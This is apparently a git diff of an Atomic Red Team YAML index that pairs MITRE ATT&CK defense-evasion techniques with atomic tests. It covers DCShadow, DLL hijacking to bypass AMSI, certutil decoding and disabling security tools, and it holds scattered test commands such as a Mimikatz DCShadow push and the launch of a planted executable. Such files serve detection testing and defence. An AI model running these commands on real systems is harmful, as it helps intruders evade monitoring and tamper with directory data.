Unofficial Guide to Mimikatz + & Command Reference. Retrieved December 23, 2015. + source_name: Adsecurity Mimikatz Guide + url: https://adsecurity.org/?page_id=1821 + - description: Spencer S. (2018, February 22). DCSYNCMonitor. Retrieved March + 30, 2018. + source_name: GitHub DCSYNCMonitor + url: https://github.com/shellster/DCSYNCMonitor + - description: Lucand,G. (2018, February 18). Detect DCShadow, impossible?. + Retrieved March 30, 2018. + source_name: ADDSecurity DCShadow Feb 2018 + url: https://adds-security.blogspot.fr/2018/02/detecter-dcshadow-impossible.html + - description: Microsoft. (n.d.). Polling for Changes Using the DirSync Control. + Retrieved March 30, 2018. + source_name: Microsoft DirSync + url: https://msdn.microsoft.com/en-us/library/ms677626.aspx x_mitre_defense_bypassed: - Log analysis - id: attack-pattern--564998d8-ab3e-4123-93fb-eccaa6b9714a - name: DCShadow - created: '2018-04-18T17:59:24.739Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - DCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC). (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys. - - Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash. (Citation: Adsecurity Mimikatz Guide) - - This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors). (Citation: DCShadow Blog) The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform [SID-History Injection](https://attack.mitre.org/techniques/T1178) and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence. (Citation: DCShadow Blog) (Citation: BlueHat DCShadow Jan 2018) - x_mitre_permissions_required: - - Administrator identifier: T1207 atomic_tests: - name: DCShadow - Mimikatz @@ -5720,66 +5956,16 @@ defense-evasion: 4. lsadump::dcshadow /push T1038: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1038 - source_name: mitre-attack - external_id: T1038 - - url: https://capec.mitre.org/data/definitions/471.html - source_name: capec - external_id: CAPEC-471 - - url: http://msdn.microsoft.com/en-US/library/ms682586 - source_name: Microsoft DLL Search - description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved - November 30, 2014. - - url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx - source_name: Microsoft 2269637 - description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 - Released. Retrieved December 5, 2014. - - url: http://msdn.microsoft.com/en-US/library/ms682600 - source_name: Microsoft DLL Redirection - description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved - December 5, 2014. - - url: https://msdn.microsoft.com/en-US/library/aa375365 - source_name: Microsoft Manifests - description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. - - url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/ - source_name: Mandiant Search Order - description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. - Retrieved December 5, 2014. - - url: https://www.owasp.org/index.php/Binary_planting - source_name: OWASP Binary Planting - description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, - 2016. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Stefan Kanthak - - Travis Smith, Tripwire + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM x_mitre_data_sources: - File monitoring - DLL monitoring - Process monitoring - Process command-line parameters - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor file systems for moving, renaming, replacing, or - modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared - with past behavior) that do not correlate with known software, patches, etc., - are suspicious. Monitor DLLs loaded into a process and detect DLLs that have - the same file name but abnormal paths. Modifications to or creation of .manifest - and .local redirection files that do not correlate with software updates are - suspicious. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows - kill_chain_phases: - - phase_name: persistence - kill_chain_name: mitre-attack - - phase_name: privilege-escalation - kill_chain_name: mitre-attack - - phase_name: defense-evasion - kill_chain_name: mitre-attack - x_mitre_defense_bypassed: - - Process whitelisting + name: DLL Search Order Hijacking description: "Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft DLL Search) Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify @@ -5804,25 +5990,75 @@ defense-evasion: hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace." id: attack-pattern--46944654-fcc1-4f63-9dad-628102376586 - name: DLL Search Order Hijacking - created: '2017-05-31T21:30:40.604Z' + modified: '2019-07-24T15:07:22.266Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_version: '1.0' + x_mitre_system_requirements: + - Ability to add a DLL, manifest file, or .local file, directory, or junction. type: attack-pattern - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM + x_mitre_detection: Monitor file systems for moving, renaming, replacing, or + modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared + with past behavior) that do not correlate with known software, patches, etc., + are suspicious. Monitor DLLs loaded into a process and detect DLLs that have + the same file name but abnormal paths. Modifications to or creation of .manifest + and .local redirection files that do not correlate with software updates are + suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Stefan Kanthak + - Travis Smith, Tripwire + created: '2017-05-31T21:30:40.604Z' x_mitre_effective_permissions: - User - Administrator - SYSTEM - x_mitre_system_requirements: - - Ability to add a DLL, manifest file, or .local file, directory, or junction. - identifier: T1038 - atomic_tests: - - name: DLL Search Order Hijacking - amsi.dll - description: | - Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1038 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1038 + - source_name: capec + external_id: CAPEC-471 + url: https://capec.mitre.org/data/definitions/471.html + - source_name: Microsoft DLL Search + description: Microsoft. (n.d.). Dynamic-Link Library Search Order. Retrieved + November 30, 2014. + url: http://msdn.microsoft.com/en-US/library/ms682586 + - source_name: OWASP Binary Planting + description: OWASP. (2013, January 30). Binary planting. Retrieved June 7, + 2016. + url: https://www.owasp.org/index.php/Binary_planting + - source_name: Microsoft 2269637 + description: Microsoft. (2010, August 22). Microsoft Security Advisory 2269637 + Released. Retrieved December 5, 2014. + url: http://blogs.technet.com/b/msrc/archive/2010/08/21/microsoft-security-advisory-2269637-released.aspx + - source_name: Microsoft DLL Redirection + description: Microsoft. (n.d.). Dynamic-Link Library Redirection. Retrieved + December 5, 2014. + url: http://msdn.microsoft.com/en-US/library/ms682600 + - source_name: Microsoft Manifests + description: Microsoft. (n.d.). Manifests. Retrieved December 5, 2014. + url: https://msdn.microsoft.com/en-US/library/aa375365 + - source_name: Mandiant Search Order + description: Mandiant. (2010, August 31). DLL Search Order Hijacking Revisited. + Retrieved December 5, 2014. + url: https://www.mandiant.com/blog/dll-search-order-hijacking-revisited/ + x_mitre_defense_bypassed: + - Process whitelisting + identifier: T1038 + atomic_tests: + - name: DLL Search Order Hijacking - amsi.dll + description: | + Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface) https://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/ supported_platforms: @@ -5836,63 +6072,63 @@ defense-evasion: cmd.exe /k %APPDATA%\updater.exe T1140: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1140 - source_name: mitre-attack - external_id: T1140 - - url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/ - source_name: Malwarebytes Targeted Attack against Saudi Arabia - description: Malwarebytes Labs. (2017, March 27). New targeted attack against - Saudi Arabia Government. Retrieved July 3, 2017. - - url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ - source_name: Carbon Black Obfuscation Sept 2016 - description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved - February 12, 2018. - - url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ - source_name: Volexity PowerDuke November 2016 - description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election - Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January - 11, 2017.' - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Matthew Demaske, Adaptforward - - Red Canary + x_mitre_permissions_required: + - User x_mitre_data_sources: - File monitoring - Process monitoring - Process command-line parameters + name: Deobfuscate/Decode Files or Information + description: |- + Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system. + + One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) + + Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) + + Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. + id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c modified: '2019-04-25T17:44:54.615Z' + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: |- Detecting the action of deobfuscating or decoding files or information may be difficult depending on the implementation. If the functionality is contained within malware and uses the Windows API, then attempting to detect malicious behavior before or after the action may yield better results than attempting to perform analysis on loaded libraries or API calls. If scripts are used, then collecting the scripts for analysis may be necessary. Perform process and command-line monitoring to detect potentially malicious behavior related to scripts and system utilities such as [certutil](https://attack.mitre.org/software/S0160). Monitor the execution file paths and command-line arguments for common archive file applications and extensions, such as those for Zip and RAR archive tools, and correlate with other suspicious behavior to reduce false positives from normal user and administrator behavior. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_contributors: + - Matthew Demaske, Adaptforward + - Red Canary + created: '2017-12-14T16:46:06.044Z' kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1140 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1140 + - source_name: Malwarebytes Targeted Attack against Saudi Arabia + description: Malwarebytes Labs. (2017, March 27). New targeted attack against + Saudi Arabia Government. Retrieved July 3, 2017. + url: https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/ + - source_name: Carbon Black Obfuscation Sept 2016 + description: Tedesco, B. (2016, September 23). Security Alert Summary. Retrieved + February 12, 2018. + url: https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ + - source_name: Volexity PowerDuke November 2016 + description: 'Adair, S.. (2016, November 9). PowerDuke: Widespread Post-Election + Spear Phishing Campaigns Targeting Think Tanks and NGOs. Retrieved January + 11, 2017.' + url: https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ x_mitre_defense_bypassed: - Anti-virus - Host intrusion prevention systems - Signature-based detection - Network intrusion detection system - id: attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c - name: Deobfuscate/Decode Files or Information - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Adversaries may use [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, [Scripting](https://attack.mitre.org/techniques/T1064), [PowerShell](https://attack.mitre.org/techniques/T1086), or by using utilities present on the system. - - One such example is use of [certutil](https://attack.mitre.org/software/S0160) to decode a remote access tool portable executable file that has been hidden inside a certificate file. (Citation: Malwarebytes Targeted Attack against Saudi Arabia) - - Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload. (Citation: Carbon Black Obfuscation Sept 2016) - - Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027) during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of [User Execution](https://attack.mitre.org/techniques/T1204). The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016) Adversaries may also used compressed or archived scripts, such as Javascript. - x_mitre_permissions_required: - - User identifier: T1140 atomic_tests: - name: Deobfuscate/Decode Files Or Information @@ -5932,15 +6168,6 @@ defense-evasion: cmd.exe /c %temp%tcm.tmp -decode #{executable} file.txt T1089: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1089 - source_name: mitre-attack - external_id: T1089 - - url: https://capec.mitre.org/data/definitions/578.html - source_name: capec - external_id: CAPEC-578 - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_data_sources: - API monitoring - File monitoring @@ -5948,29 +6175,38 @@ defense-evasion: - Windows Registry - Process command-line parameters - Anti-virus - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitor processes and command-line arguments to see if security - tools are killed or stop running. Monitor Registry edits for modifications - to services and startup programs that correspond to security tools. Lack of - log or event file reporting may be suspicious. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044 name: Disabling Security Tools - created: '2017-05-31T21:31:07.958Z' - x_mitre_version: '1.0' - type: attack-pattern description: Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting. + id: attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Monitor processes and command-line arguments to see if security + tools are killed or stop running. Monitor Registry edits for modifications + to services and startup programs that correspond to security tools. Lack of + log or event file reporting may be suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-07-17T19:02:55.134Z' + created: '2017-05-31T21:31:07.958Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1089 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1089 + - source_name: capec + external_id: CAPEC-578 + url: https://capec.mitre.org/data/definitions/578.html x_mitre_defense_bypassed: - File monitoring - Host intrusion prevention systems @@ -6162,25 +6398,27 @@ defense-evasion: -Name "{2781761E-28E0-4109-99FE-B9D127C57AFE}" T1107: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1107 - source_name: mitre-attack - external_id: T1107 - - url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ - source_name: Trend Micro APT Attack Tools - description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools - of the Trade. Retrieved December 2, 2015.' x_mitre_data_sources: - File monitoring - Process command-line parameters - Binary file metadata - x_mitre_contributors: - - Walker Johnson x_mitre_permissions_required: - User + name: File Deletion + description: |- + Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. + + There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools) + id: attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59 + modified: '2019-07-17T21:18:43.664Z' + x_mitre_platforms: + - Linux + - macOS + - Windows object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - modified: '2018-10-17T00:14:20.652Z' + x_mitre_version: '1.0' + type: attack-pattern x_mitre_detection: It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. @@ -6192,22 +6430,20 @@ defense-evasion: command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe. created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59 - name: File Deletion + x_mitre_contributors: + - Walker Johnson created: '2017-05-31T21:31:17.915Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. - - There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools) + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1107 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1107 + - source_name: Trend Micro APT Attack Tools + description: 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools + of the Trade. Retrieved December 2, 2015.' + url: http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/ x_mitre_defense_bypassed: - Host forensic analysis identifier: T1107 @@ -6410,95 +6646,96 @@ defense-evasion: ' T1222: technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + - Windows event logs + x_mitre_permissions_required: + - User + - Administrator + - SYSTEM + - root + name: File and Directory Permissions Modification + description: |- + File and directory permissions are commonly managed by discretionary access control lists (DACLs) specified by the file or directory owner. File and directory DACL implementations may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions) + + Adversaries may modify file or directory permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file or directory and/or elevated permissions such as Administrator/root depending on the file or directory's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files/directories. Specific file and directory modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files. + id: attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196 + modified: '2019-07-09T15:01:23.290Z' + x_mitre_platforms: + - Linux + - Windows + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '2.0' + type: attack-pattern + x_mitre_detection: |- + Monitor and investigate attempts to modify DACLs and file/directory ownership, such as use of icacls (Citation: Microsoft icacls OCT 2017), takeown (Citation: Microsoft takeown OCT 2017), attrib (Citation: Microsoft attrib OCT 2017), and [PowerShell](https://attack.mitre.org/techniques/T1086) Set-Acl (Citation: Microsoft SetAcl) in Windows and chmod (Citation: Linux chmod)/chown (Citation: Linux chown) in macOS/Linux. Many of these are built-in system utilities and may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. + + Consider enabling file/directory permission change auditing on folders containing key binary/configuration files. Windows Security Log events (Event ID 4670) are used when DACLs are modified. (Citation: EventTracker File Permissions Feb 2014) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - CrowdStrike Falcon OverWatch + - Jan Miller, CrowdStrike + created: '2018-10-17T00:14:20.652Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion external_references: - - url: https://attack.mitre.org/techniques/T1222 + - external_id: T1222 source_name: mitre-attack - external_id: T1222 - - url: https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces - source_name: Microsoft DACL May 2018 + url: https://attack.mitre.org/techniques/T1222 + - source_name: Microsoft DACL May 2018 description: Microsoft. (2018, May 30). DACLs and ACEs. Retrieved August 19, 2018. - - url: https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights - source_name: Microsoft File Rights May 2018 + url: https://docs.microsoft.com/windows/desktop/secauthz/dacls-and-aces + - source_name: Microsoft File Rights May 2018 description: Microsoft. (2018, May 30). File Security and Access Rights. Retrieved August 19, 2018. - - url: https://www.tutorialspoint.com/unix/unix-file-permission.htm - source_name: Unix File Permissions + url: https://docs.microsoft.com/windows/desktop/fileio/file-security-and-access-rights + - source_name: Unix File Permissions description: Tutorials Point. (n.d.). Unix / Linux - File Permission / Access Modes. Retrieved August 19, 2018. - - url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100 - source_name: Hybrid Analysis Icacls1 June 2018 + url: https://www.tutorialspoint.com/unix/unix-file-permission.htm + - source_name: Hybrid Analysis Icacls1 June 2018 description: Hybrid Analysis. (2018, June 12). c9b65b764985dfd7a11d3faf599c56b8.exe. Retrieved August 19, 2018. - - url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110 - source_name: Hybrid Analysis Icacls2 May 2018 + url: https://www.hybrid-analysis.com/sample/ef0d2628823e8e0a0de3b08b8eacaf41cf284c086a948bdfd67f4e4373c14e4d?environmentId=100 + - source_name: Hybrid Analysis Icacls2 May 2018 description: Hybrid Analysis. (2018, May 30). 2a8efbfadd798f6111340f7c1c956bee.dll. Retrieved August 19, 2018. - - url: https://docs.microsoft.com/windows-server/administration/windows-commands/icacls - source_name: Microsoft icacls OCT 2017 + url: https://www.hybrid-analysis.com/sample/22dab012c3e20e3d9291bce14a2bfc448036d3b966c6e78167f4626f5f9e38d6?environmentId=110 + - source_name: Microsoft icacls OCT 2017 description: Plett, C. et al.. (2017, October 17). icacls. Retrieved August 19, 2018. - - url: https://docs.microsoft.com/windows-server/administration/windows-commands/attrib - source_name: Microsoft attrib OCT 2017 + url: https://docs.microsoft.com/windows-server/administration/windows-commands/icacls + - source_name: Microsoft takeown OCT 2017 + description: Plett, C. et al.. (2017, October 15). takeown. Retrieved August + 19, 2018. + url: https://docs.microsoft.com/windows-server/administration/windows-commands/takeown + - source_name: Microsoft attrib OCT 2017 description: Plett, C. et al.. (2017, October 15). attrib. Retrieved August 19, 2018. - - url: https://linux.die.net/man/1/chmod - source_name: Linux chmod + url: https://docs.microsoft.com/windows-server/administration/windows-commands/attrib + - source_name: Microsoft SetAcl + description: Microsoft. (n.d.). Set-Acl. Retrieved August 19, 2018. + url: https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl + - source_name: Linux chmod description: MacKenzie, D. & Meyering, J. (n.d.). chmod(1) - Linux man page. Retrieved August 19, 2018. - - url: https://linux.die.net/man/1/chown - source_name: Linux chown + url: https://linux.die.net/man/1/chmod + - source_name: Linux chown description: MacKenzie, D. & Meyering, J. (n.d.). chown(1) - Linux man page. Retrieved August 19, 2018. - - url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/ - source_name: EventTracker File Permissions Feb 2014 + url: https://linux.die.net/man/1/chown + - source_name: EventTracker File Permissions Feb 2014 description: Netsurion. (2014, February 19). Monitoring File Permission Changes with the Windows Security Log. Retrieved August 19, 2018. - - url: https://docs.microsoft.com/windows-server/administration/windows-commands/takeown - source_name: Microsoft takeown OCT 2017 - description: Plett, C. et al.. (2017, October 15). takeown. Retrieved August - 19, 2018. - - url: https://docs.microsoft.com/powershell/module/microsoft.powershell.security/set-acl - source_name: Microsoft SetAcl - description: Microsoft. (n.d.). Set-Acl. Retrieved August 19, 2018. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - x_mitre_contributors: - - Jan Miller, CrowdStrike - x_mitre_data_sources: - - File monitoring - - Process monitoring - - Process command-line parameters - - Windows event logs - modified: '2018-10-31T13:45:13.024Z' - x_mitre_detection: |- - Monitor and investigate attempts to modify DACLs and file ownership, such as use of icacls (Citation: Microsoft icacls OCT 2017), takeown (Citation: Microsoft takeown OCT 2017), attrib (Citation: Microsoft attrib OCT 2017), and [PowerShell](https://attack.mitre.org/techniques/T1086) Set-Acl (Citation: Microsoft SetAcl) in Windows and chmod (Citation: Linux chmod)/chown (Citation: Linux chown) in macOS/Linux. Many of these are built-in system utilities and may generate high false positive alerts, so compare against baseline knowledge for how systems are typically used and correlate modification events with other indications of malicious activity where possible. - - Consider enabling file permission change auditing on folders containing key binary/configuration files. Windows Security Log events (Event ID 4670) are used when DACLs are modified. (Citation: EventTracker File Permissions Feb 2014) - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack + url: https://www.eventtracker.com/tech-articles/monitoring-file-permission-changes-windows-security-log/ x_mitre_defense_bypassed: - File system access controls - id: attack-pattern--65917ae0-b854-4139-83fe-bf2441cf0196 - name: File Permissions Modification - created: '2018-10-17T00:14:20.652Z' - x_mitre_version: '1.0' - type: attack-pattern - description: |- - File permissions are commonly managed by discretionary access control lists (DACLs) specified by the file owner. File DACL implementation may vary by platform, but generally explicitly designate which users/groups can perform which actions (ex: read, write, execute, etc.). (Citation: Microsoft DACL May 2018) (Citation: Microsoft File Rights May 2018) (Citation: Unix File Permissions) - - Adversaries may modify file permissions/attributes to evade intended DACLs. (Citation: Hybrid Analysis Icacls1 June 2018) (Citation: Hybrid Analysis Icacls2 May 2018) Modifications may include changing specific access rights, which may require taking ownership of a file and/or elevated permissions such as Administrator/root depending on the file's existing permissions to enable malicious activity such as modifying, replacing, or deleting specific files. Specific file modifications may be a required step for many techniques, such as establishing Persistence via [Accessibility Features](https://attack.mitre.org/techniques/T1015), [Logon Scripts](https://attack.mitre.org/techniques/T1037), or tainting/hijacking other instrumental binary/configuration files. - x_mitre_permissions_required: - - User - - Administrator - - SYSTEM - - root identifier: T1222 atomic_tests: - name: Take ownership using takeown utility @@ -6837,46 +7074,13 @@ defense-evasion: ' T1144: technique: - external_references: - - url: https://attack.mitre.org/techniques/T1144 - source_name: mitre-attack - external_id: T1144 - - url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - source_name: Methods of Mac Malware Persistence - description: Patrick Wardle. (2014, September). Methods of Malware Persistence - on Mac OS X. Retrieved July 5, 2017. - - url: https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/ - source_name: Clearing quarantine attribute - description: Rich Trouton. (2012, November 20). Clearing the quarantine extended - attribute from downloaded applications. Retrieved July 5, 2017. - - url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update - source_name: OceanLotus for OS X - description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application - Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. - - url: https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ - source_name: Bypassing Gatekeeper - description: Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. - Retrieved July 5, 2017. - object_marking_refs: - - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_permissions_required: - User - Administrator - modified: '2018-10-17T00:14:20.652Z' - x_mitre_detection: Monitoring for the removal of the com.apple.quarantine - flag by a user instead of the operating system is a suspicious action and - should be examined further. - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - kill_chain_phases: - - phase_name: defense-evasion - kill_chain_name: mitre-attack - id: attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e + x_mitre_data_sources: + - File monitoring + - Process command-line parameters name: Gatekeeper Bypass - created: '2017-12-14T16:46:06.044Z' - x_mitre_version: '1.0' - type: attack-pattern description: "In macOS and OS X, when applications or programs are downloaded from the 